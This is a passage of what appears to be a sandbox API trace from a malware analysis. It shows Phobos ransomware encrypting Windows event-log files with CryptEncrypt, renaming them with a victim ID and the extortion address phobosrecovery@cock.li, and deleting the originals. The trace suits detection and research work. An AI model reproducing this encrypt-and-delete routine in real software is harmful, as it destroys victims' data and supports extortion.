dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.671] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.671] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cb30) returned 1 [0062.671] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.671] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0062.673] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0062.673] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0062.675] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d170) returned 1 [0062.675] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.676] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0, dwBufLen=0xb0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0) returned 1 [0062.676] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.676] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x162, lpOverlapped=0x0) returned 1 [0062.676] CryptDestroyKey (hKey=0x10cb30) returned 1 [0062.676] CloseHandle (hObject=0x320) returned 1 [0062.676] CloseHandle (hObject=0x33c) returned 1 [0062.678] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0062.682] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0062.682] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.682] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0062.682] CloseHandle (hObject=0x33c) returned 1 [0062.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0062.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.682] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0062.683] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.683] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0062.683] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0062.683] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d170) returned 1 [0062.683] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0062.683] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0063.107] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0063.107] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0063.109] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cf70) returned 1 [0063.109] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.109] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0, dwBufLen=0xc0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0) returned 1 [0063.109] CryptDestroyKey (hKey=0x10cf70) returned 1 [0063.109] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x172, lpOverlapped=0x0) returned 1 [0063.109] CryptDestroyKey (hKey=0x10d170) returned 1 [0063.109] CloseHandle (hObject=0x33c) returned 1 [0063.109] CloseHandle (hObject=0x320) returned 1 [0063.112] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0063.114] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0063.114] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.115] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0063.115] CloseHandle (hObject=0x320) returned 1 [0063.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0063.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.115] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.116] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.116] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.116] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.116] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ce70) returned 1 [0063.116] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.116] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0063.118] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0063.118] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0063.120] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10cf70) returned 1 [0063.120] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.120] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0, dwBufLen=0xa0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xa0) returned 1 [0063.120] CryptDestroyKey (hKey=0x10cf70) returned 1 [0063.120] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x152, lpOverlapped=0x0) returned 1 [0063.121] CryptDestroyKey (hKey=0x10ce70) returned 1 [0063.121] CloseHandle (hObject=0x320) returned 1 [0063.121] CloseHandle (hObject=0x33c) returned 1 [0063.123] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0063.124] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0063.124] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.125] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0063.125] CloseHandle (hObject=0x33c) returned 1 [0063.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0063.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.125] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.125] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.125] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.126] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d1f0) returned 1 [0063.126] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.126] ReadFile (in: hFile=0x33c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0063.128] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0063.128] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0063.130] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d0f0) returned 1 [0063.130] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.130] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0063.130] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0063.130] WriteFile (in: hFile=0x320, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0063.130] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0063.130] CloseHandle (hObject=0x33c) returned 1 [0063.130] CloseHandle (hObject=0x320) returned 1 [0063.132] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0063.133] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0063.133] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.133] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0063.133] CloseHandle (hObject=0x320) returned 1 [0063.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0063.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.134] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0063.134] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.134] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.134] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.134] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10d070) returned 1 [0063.134] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.134] ReadFile (in: hFile=0x320, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0063.136] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0063.136] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0063.138] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1f0) returned 1 [0063.138] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.138] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0063.138] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0063.138] WriteFile (in: hFile=0x33c, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0063.138] CryptDestroyKey (hKey=0x10d070) returned 1 [0063.138] CloseHandle (hObject=0x320) returned 1 [0063.138] CloseHandle (hObject=0x33c) returned 1 [0063.141] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0063.143] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0063.143] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0063.206] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0063.206] CloseHandle (hObject=0x324) returned 1 [0063.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0063.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.206] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0063.206] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.206] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0063.206] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0063.811] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10ca30) returned 1 [0063.811] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0063.811] ReadFile (in: hFile=0x324, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0064.371] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0064.371] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0064.757] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1b0) returned 1 [0064.757] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0064.757] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80, dwBufLen=0x80 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x80) returned 1 [0064.757] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0064.757] WriteFile (in: hFile=0x308, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x132, lpOverlapped=0x0) returned 1 [0064.757] CryptDestroyKey (hKey=0x10ca30) returned 1 [0064.757] CloseHandle (hObject=0x324) returned 1 [0064.757] CloseHandle (hObject=0x308) returned 1 [0064.760] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0064.762] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0064.762] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, 